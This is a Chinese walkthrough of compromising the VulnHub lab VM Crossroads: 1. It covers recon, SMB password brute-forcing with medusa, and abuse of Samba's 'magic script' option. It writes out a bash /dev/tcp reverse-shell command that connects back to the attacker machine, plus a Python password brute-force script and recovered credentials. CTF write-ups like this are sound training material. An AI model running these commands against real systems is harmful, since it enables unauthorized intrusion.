准备:

攻击机:虚拟机kali、本机win10。

靶机:Crossroads: 1,下载地址:https://download.vulnhub.com/crossroads/crossroads_vh.ova,下载后直接vbox打开即可。

知识点:stegoveritas工具使用、smb服务扫描、shell反弹、简单脚本编写。

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.5.0/24,发现靶机地址:192.168.5.159。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.159,显示开放了80端口、139端口、445端口,开启了smb服务、http服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -x php,jpg,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.5.159,发现/robots.txt文件和/note.txt文件。

访问下/robots.txt文件和/note.txt文件,发现提示信息和一张图片信息,访问:http://192.168.5.159/robots.txt和http://192.168.5.159/note.txt。

3.stegoveritas工具使用

将图片下载下来使用隐写工具来查看下是否隐藏有信息,命令:stegoveritas crossroads.png,生成一个新的文件夹:results。

在/result/keep目录下发现一个文件(就是第一个文件名字可能不同)是字典文件,后面会用到,将该文件保存下来后面会用到,别的文件别动,我当时动了之后直接导致这个字典文件没了。

4.smb服务

使用smb服务扫描器:enum4linux对靶机进行扫描,发现一个账户:albert和两个目录:print$、smbshare。

二 :信息利用

1.smb服务利用

登录smb服务时发现需要密码,那就对smb服务进行爆破,命令medusa -h 192.168.5.159 -u albert -P /usr/share/wordlists/rockyou.txt -M smbnt,成功获得一组账户密码:bradley1。这里开始使用的是hydra爆破,但是爆破不出来,后来使用win上的一个小工具超级弱口令检测工具能检测出来,不知道hydra检测不出来的原因是什么,然后就百度了一下,找到了medusa工具。

使用获得账户和密码信息连接smb服务,命令:smbclient //192.168.5.159/albert -U albert,在目录信息中发现user.txt文件,下载该文件并读取该文件,成功获得第一个flag值。

2.shell反弹

在smbshare目录下发现一个smb的配置文件:smb.conf,读取该文件发现magic script = smbscript.sh,magic script选项为魔术脚本,这个选项如果被设置了具体文件名,则Samba将在用户打开和关闭文件后立即运行该文件,因此我们直接上传一个名字为smbscript.sh的shell反弹脚本:bash -c 'bash -i >&/dev/tcp/192.168.5.161/6688 0>&1',成功获得shell权限。这里需要smbclient //192.168.5.159/smbshare -U albert从新登录下smb服务,否则无法反弹shell。

3.逆向

将reboot文件下载到本地,然后使用ida工具进行逆向,查看其伪代码,发现是执行了/root/beroot.sh文件。在shell中尝试执行reboot程序,但是需要输入密码。

三:提权

1.脚本编写

用我们之前从图片中发现的字典来进行爆破beroot程序的密码,这里需要写一个脚本上传到靶机中,然后执行我们上传的脚本成功获得密码:#1bitch。

bp.py
 import subprocess
import os
import time
import sys path = '/usr/bin/echo'
content = "wrong password!!"
blank = " "
executable = "beroot" def broot():
os.system("export TERM=xterm")
with open("pass","r",encoding="ISO-8859-1") as file:
words = file.read().splitlines() for word in words:
execute = subprocess.getoutput(path + blank + (str(word)) + " | ./" + executable)
print(execute)
if content not in execute:
print("[!]Password:" + word)
sys.exit(0) broot()

2.提权

执行beroot程序,然后输入我们获得的密码信息:#1bitch,但是显示仍是密码错误,那我们将字典中的该密码删掉,命令:sed -i "s/\#1bitch/ /g" pass,从新跑一下,获得新的密码:lemuel。

告诉我们执行ls可以发现root creds文件,查看下该文件信息成功获得root密码:___drifting___,切换到root账户,然后再/root目录下发现root.txt文件,读取该文件成功获得flag值。

vulnhub靶场之CROSSROADS: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. 解决Pycharm不能识别selenium的部分提示代码

    这是解决前,pycharm没有提示相关的webelement的代码,例如:send_keys, click 之类的 把鼠标指针放在 selenium 这个单词上就能看到这一串路径 然后找到这个路径的文 ...

  2. npm安装时加 --save和不加的区别

    npm install xxx --save 命令是安装模块到项目node_modules目录下,会将模块依赖写入package.json文件中的dependencies{}下.如果将node_mod ...

  3. Node.js+Vue.js开发王者荣耀手机端官网

    一.项目初始 1.工具安装和环境搭建 node.js.npm.mongodb 编辑器:VScode 2.项目初始化 项目分为三个部分,分别是移动端界面.后台管理界面和node.js开发的整体的服务端 ...

  4. CGAL5.0.2 CMake过程记录

    Zlib的INCLUDE_DIR 找到了,但是release_LIBRARY没有找到.不过没有影响generate. 打开build文件夹的CGAL.sln 文件,ALL_BUILD 生成,成功. 最 ...

  5. [C# 学习笔记]运用 GDI+ 的 Matrix 进行显示图形的平移和缩放

    C# 学习中,想尝试着做一个工控方面的上位机,可以读取CAD绘制的图形,然后把它显示出来,后面让运动控制器去走CAD里面的轨迹. 一.用netDXF 开源包,对DXF文件进行解析.解析后的直线.圆.圆 ...

  6. xcodeproj Building for iOS, but the linked and embedded framework ‘xxx.framework’ was built for iOS + iOS Simulator.

    一.报错 报错内容大致如下 /xxxx/xxx.xcodeproj Building for iOS, but the linked and embedded framework 'xxx.frame ...

  7. 帝国CMS安全方案

    一.帝国CMS介绍 帝国CMS是一款主流的网站内容管理系统,因其系统结构科学合理,功能强大,操作简单,拥有海量用户.和其他CMS一样,安全漏洞也是其无法避免的问题.虽然官方不断发布补丁.升级版本,但安 ...

  8. ASP.NET Core - 配置系统之自定义配置提供程序

    4. 自定义配置提供程序 在 .NET Core 配置系统中封装一个配置提供程序关键在于提供相应的 IconfigurationSource 实现和 IConfigurationProvider 接口 ...

  9. linux网络编程中的errno处理

    在Linux网络编程中,errno是一个非常重要的变量.它记录了最近发生的系统调用错误代码.在编写网络应用程序时,合理处理errno可以帮助我们更好地了解程序出现的问题并进行调试. 通常,在Linux ...

  10. 2.C/C++的const

    1.C语言的const修饰的变量都有空间 2.C语言的const修饰的全局变量具有外部链接属性 3.C++语言的const修饰的变量有时有空间,有时没有空间(发生常量折叠,且没有对变量进行取址操作) ...